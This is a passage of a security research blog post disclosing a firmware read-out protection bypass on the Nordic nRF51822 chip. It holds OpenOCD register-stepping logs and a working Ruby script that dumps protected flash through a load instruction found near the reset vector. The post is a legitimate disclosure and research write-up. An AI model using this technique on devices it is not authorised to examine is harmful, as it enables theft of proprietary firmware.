(11) r11 (/32): 0x00000000 (12) r12 (/32): 0x00000000 (13) sp (/32): 0x00000000 (14) lr (/32): 0xFFFFFFFF (15) pc (/32): 0x000114CE (16) xPSR (/32): 0xC1000000 (17) msp (/32): 0x00000000 (18) psp (/32): 0xFFFFFFFC (19) primask (/1): 0x00 (20) basepri (/8): 0x00 (21) faultmask (/1): 0x00 (22) control (/2): 0x00 ===== Cortex-M DWT registers (23) dwt_ctrl (/32) (24) dwt_cyccnt (/32) (25) dwt_0_comp (/32) (26) dwt_0_mask (/4) (27) dwt_0_function (/32) (28) dwt_1_comp (/32) (29) dwt_1_mask (/4) (30) dwt_1_function (/32) Looks like r3 was set to 0x10001014. Is that the value at address zero? Let's see what happens when we load the registers with four instead: > reset halt target state: halted target halted due to debug-request, current mode: Thread xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0 > reg r0 0x00000004 r0 (/32): 0x00000004 > reg r1 0x00000004 r1 (/32): 0x00000004 > reg r2 0x00000004 r2 (/32): 0x00000004 > reg r3 0x00000004 r3 (/32): 0x00000004 > reg r4 0x00000004 r4 (/32): 0x00000004 > reg r5 0x00000004 r5 (/32): 0x00000004 > reg r6 0x00000004 r6 (/32): 0x00000004 > reg r7 0x00000004 r7 (/32): 0x00000004 > reg r8 0x00000004 r8 (/32): 0x00000004 > reg r9 0x00000004 r9 (/32): 0x00000004 > reg r10 0x00000004 r10 (/32): 0x00000004 > reg r11 0x00000004 r11 (/32): 0x00000004 > reg r12 0x00000004 r12 (/32): 0x00000004 > reg sp 0x00000004 sp (/32): 0x00000004 > step target state: halted target halted due to single-step, current mode: Thread xPSR: 0xc1000000 pc: 0x000114ce msp: 0x00000004 > reg ===== arm v7m registers (0) r0 (/32): 0x00000004 (1) r1 (/32): 0x00000004 (2) r2 (/32): 0x00000004 (3) r3 (/32): 0x10001014 (4) r4 (/32): 0x00000004 (5) r5 (/32): 0x00000004 (6) r6 (/32): 0x00000004 (7) r7 (/32): 0x00000004 (8) r8 (/32): 0x00000004 (9) r9 (/32): 0x00000004 (10) r10 (/32): 0x00000004 (11) r11 (/32): 0x00000004 (12) r12 (/32): 0x00000004 (13) sp (/32): 0x00000004 (14) lr (/32): 0xFFFFFFFF (15) pc (/32): 0x000114CE (16) xPSR (/32): 0xC1000000 (17) msp (/32): 0x00000004 (18) psp (/32): 0xFFFFFFFC (19) primask (/1): 0x00 (20) basepri (/8): 0x00 (21) faultmask (/1): 0x00 (22) control (/2): 0x00 ===== Cortex-M DWT registers (23) dwt_ctrl (/32) (24) dwt_cyccnt (/32) (25) dwt_0_comp (/32) (26) dwt_0_mask (/4) (27) dwt_0_function (/32) (28) dwt_1_comp (/32) (29) dwt_1_mask (/4) (30) dwt_1_function (/32) Nope, r3 gets the same value, so we're not interested in the first instruction. Let's continue on to the second: > reg r0 0x00000000 r0 (/32): 0x00000000 > reg r1 0x00000000 r1 (/32): 0x00000000 > reg r2 0x00000000 r2 (/32): 0x00000000 > reg r3 0x00000000 r3 (/32): 0x00000000 > reg r4 0x00000000 r4 (/32): 0x00000000 > reg r5 0x00000000 r5 (/32): 0x00000000 > reg r6 0x00000000 r6 (/32): 0x00000000 > reg r7 0x00000000 r7 (/32): 0x00000000 > reg r8 0x00000000 r8 (/32): 0x00000000 > reg r9 0x00000000 r9 (/32): 0x00000000 > reg r10 0x00000000 r10 (/32): 0x00000000 > reg r11 0x00000000 r11 (/32): 0x00000000 > reg r12 0x00000000 r12 (/32): 0x00000000 > reg sp 0x00000000 sp (/32): 0x00000000 > step target state: halted target halted due to single-step, current mode: Thread xPSR: 0xc1000000 pc: 0x000114d0 msp: 00000000 > reg ===== arm v7m registers (0) r0 (/32): 0x00000000 (1) r1 (/32): 0x00000000 (2) r2 (/32): 0x00000000 (3) r3 (/32): 0x20001BD0 (4) r4 (/32): 0x00000000 (5) r5 (/32): 0x00000000 (6) r6 (/32): 0x00000000 (7) r7 (/32): 0x00000000 (8) r8 (/32): 0x00000000 (9) r9 (/32): 0x00000000 (10) r10 (/32): 0x00000000 (11) r11 (/32): 0x00000000 (12) r12 (/32): 0x00000000 (13) sp (/32): 0x00000000 (14) lr (/32): 0xFFFFFFFF (15) pc (/32): 0x000114D0 (16) xPSR (/32): 0xC1000000 (17) msp (/32): 0x00000000 (18) psp (/32): 0xFFFFFFFC (19) primask (/1): 0x00 (20) basepri (/8): 0x00 (21) faultmask (/1): 0x00 (22) control (/2): 0x00 ===== Cortex-M DWT registers (23) dwt_ctrl (/32) (24) dwt_cyccnt (/32) (25) dwt_0_comp (/32) (26) dwt_0_mask (/4) (27) dwt_0_function (/32) (28) dwt_1_comp (/32) (29) dwt_1_mask (/4) (30) dwt_1_function (/32) OK, this time r3 was set to 0x20001BD0. Is that the value at address zero? Let's see what happens when we run the second instruction with the registers set to 4: > reset halt target state: halted target halted due to debug-request, current mode: Thread xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0 > step target state: halted target halted due to single-step, current mode: Thread xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0 > reg r0 0x00000004 r0 (/32): 0x00000004 > reg r1 0x00000004 r1 (/32): 0x00000004 > reg r2 0x00000004 r2 (/32): 0x00000004 > reg r3 0x00000004 r3 (/32): 0x00000004 > reg r4 0x00000004 r4 (/32): 0x00000004 > reg r5 0x00000004 r5 (/32): 0x00000004 > reg r6 0x00000004 r6 (/32): 0x00000004 > reg r7 0x00000004 r7 (/32): 0x00000004 > reg r8 0x00000004 r8 (/32): 0x00000004 > reg r9 0x00000004 r9 (/32): 0x00000004 > reg r10 0x00000004 r10 (/32): 0x00000004 > reg r11 0x00000004 r11 (/32): 0x00000004 > reg r12 0x00000004 r12 (/32): 0x00000004 > reg sp 0x00000004 sp (/32): 0x00000004 > step target state: halted target halted due to single-step, current mode: Thread xPSR: 0xc1000000 pc: 0x000114d0 msp: 0x00000004 > reg ===== arm v7m registers (0) r0 (/32): 0x00000004 (1) r1 (/32): 0x00000004 (2) r2 (/32): 0x00000004 (3) r3 (/32): 0x000114CD (4) r4 (/32): 0x00000004 (5) r5 (/32): 0x00000004 (6) r6 (/32): 0x00000004 (7) r7 (/32): 0x00000004 (8) r8 (/32): 0x00000004 (9) r9 (/32): 0x00000004 (10) r10 (/32): 0x00000004 (11) r11 (/32): 0x00000004 (12) r12 (/32): 0x00000004 (13) sp (/32): 0x00000004 (14) lr (/32): 0xFFFFFFFF (15) pc (/32): 0x000114D0 (16) xPSR (/32): 0xC1000000 (17) msp (/32): 0x00000004 (18) psp (/32): 0xFFFFFFFC (19) primask (/1): 0x00 (20) basepri (/8): 0x00 (21) faultmask (/1): 0x00 (22) control (/2): 0x00 ===== Cortex-M DWT registers (23) dwt_ctrl (/32) (24) dwt_cyccnt (/32) (25) dwt_0_comp (/32) (26) dwt_0_mask (/4) (27) dwt_0_function (/32) (28) dwt_1_comp (/32) (29) dwt_1_mask (/4) (30) dwt_1_function (/32) This time, r3 got 0x00014CD. This value actually strongly implies we're reading memory. Why? The value is actually the reset vector. According to the Cortex-M0 documentation, the reset vector is at address 4, and when we reset the chip, the PC is set to 0x000114CC (the least significant bit is set in the reset vector, changing C to D, because the Cortex-M0 operates in Thumb mode). Let's try reading the two instructions we just were testing: > reset halt target state: halted target halted due to debug-request, current mode: Thread xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0 > step target state: halted target halted due to single-step, current mode: Thread xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0 > reg r0 0x000114cc r0 (/32): 0x000114CC > reg r1 0x000114cc r1 (/32): 0x000114CC > reg r2 0x000114cc r2 (/32): 0x000114CC > reg r3 0x000114cc r3 (/32): 0x000114CC > reg r4 0x000114cc r4 (/32): 0x000114CC > reg r5 0x000114cc r5 (/32): 0x000114CC > reg r6 0x000114cc r6 (/32): 0x000114CC > reg r7 0x000114cc r7 (/32): 0x000114CC > reg r8 0x000114cc r8 (/32): 0x000114CC > reg r9 0x000114cc r9 (/32): 0x000114CC > reg r10 0x000114cc r10 (/32): 0x000114CC > reg r11 0x000114cc r11 (/32): 0x000114CC > reg r12 0x000114cc r12 (/32): 0x000114CC > reg sp 0x000114cc sp (/32): 0x000114CC > step target state: halted target halted due to single-step, current mode: Thread xPSR: 0xc1000000 pc: 0x000114d0 msp: 0x000114cc > reg r3 r3 (/32): 0x681B4B13 The r3 register has the value 0x681B4B13. That disassembles to two load instructions, the first relative to the pc, the second relative to r3: $ printf "\x13\x4b\x1b\x68" > /tmp/armcode $ arm-none-eabi-objdump -D --target binary -Mforce-thumb -marm /tmp/armcode /tmp/armcode: file format binary Disassembly of section .data: 00000000 <.data>: 0: 4b13 ldr r3, [pc, #76] ; (0x50) 2: 681b ldr r3, [r3, #0] In case you don't read Thumb assembly, that second instruction is a load register instruction (ldr); it's taking an address from the r3 register, adding an offset of zero, and loading the value from that address into the r3 register. We've found a load instruction that lets us read memory from an arbitrary address. Again, this is useful because only code in the protected memory can read the protected memory. The trick is that being able to read and write CPU registers using OpenOCD lets us execute those instructions however we want. If we hadn't been lucky enough to find the load word instruction so close to the reset vector, we could have reset the processor and written a value to the pc register (jumping to an arbitrary address) to try more instructions. Since we were lucky though, we can just step through the first instruction. Dumping the Firmware Now that we've found a load instruction that we can execute to read from arbitrary addresses, our firmware dumping process is as follows: Reset the CPU Single step (we don't care about the first instruction) Put the address we want to read from into r3 Single step (this loads from the address in r3 to r3) Read the value from r3 Here's a ruby script to automate the process: #!/usr/bin/env ruby require 'net/telnet' debug = Net::Telnet::new("Host" => "localhost", "Port" => 4444) dumpfile = File.open("dump.bin", "w") ((0x00000000/4)...(0x00040000)/4).each do |i| address = i * 4 debug.cmd("reset halt") debug.cmd("step") debug.cmd("reg r3 0x#{address.to_s 16}") debug.cmd("step") response = debug.cmd("reg r3") value = response.match(/: 0x([0-9a-fA-F]{8})/)[1].to_i 16 dumpfile.write([value].pack("V")) puts "0x%08x: 0x%08x" % [address, value] end dumpfile.close debug.close The ruby script connects to the OpenOCD user interface, which is available via a telnet connection on localhost. It then loops through addresses that are multiples of four, using the load instruction we found to read data from those addresses. Vendor Response IncludeSec contacted NordicSemi via their customer support channel where they received a copy of this blog post. From NordicSemi customer support: "We take this into consideration together with other factors, and the discussions around this must be kept internal." We additionally reached out to the only engineer who had security in his title and he didn't really want a follow-up Q&A call or further info and redirected us to only talk to customer support. So that's about all we can do for coordinated disclosure on our side. Conclusion Once we have a copy of the firmware image, we can do whatever disassembly or reverse engineering we want with it. We can also now disable the chip's PALL protection in order to more easily debug the code. To disable PALL, you need to erase the chip, but that's not a problem since we can immediately re-flash the chip using the dumped firmware. Once that the chip has been erased and re-programmed to disable the protection we can freely use the debugger to: read and write RAM, set breakpoints, and so on. We can even attach GDB to OpenOCD, and debug the firmware that way. The technique described here won't work on all microcontrollers or SoCs; it only applies to situations where you have access to a debugging interface that can read and write CPU registers but not protected memory. Despite the limitation though, the technique can be used to dump firmware from nRF51822 chips and possibly others that use similar protections. We feel this is a vulnerability in the design of the nRF51822 code protection. Are you using other cool techniques to dump firmware? Do you know of any other microcontrollers or SoCs that might be vulnerable to this type of code protection bypass? Let us know in the comments. Sursa: http://blog.includesecurity.com/2015/11/NordicSemi-ARM-SoC-Firmware-dumping-technique.html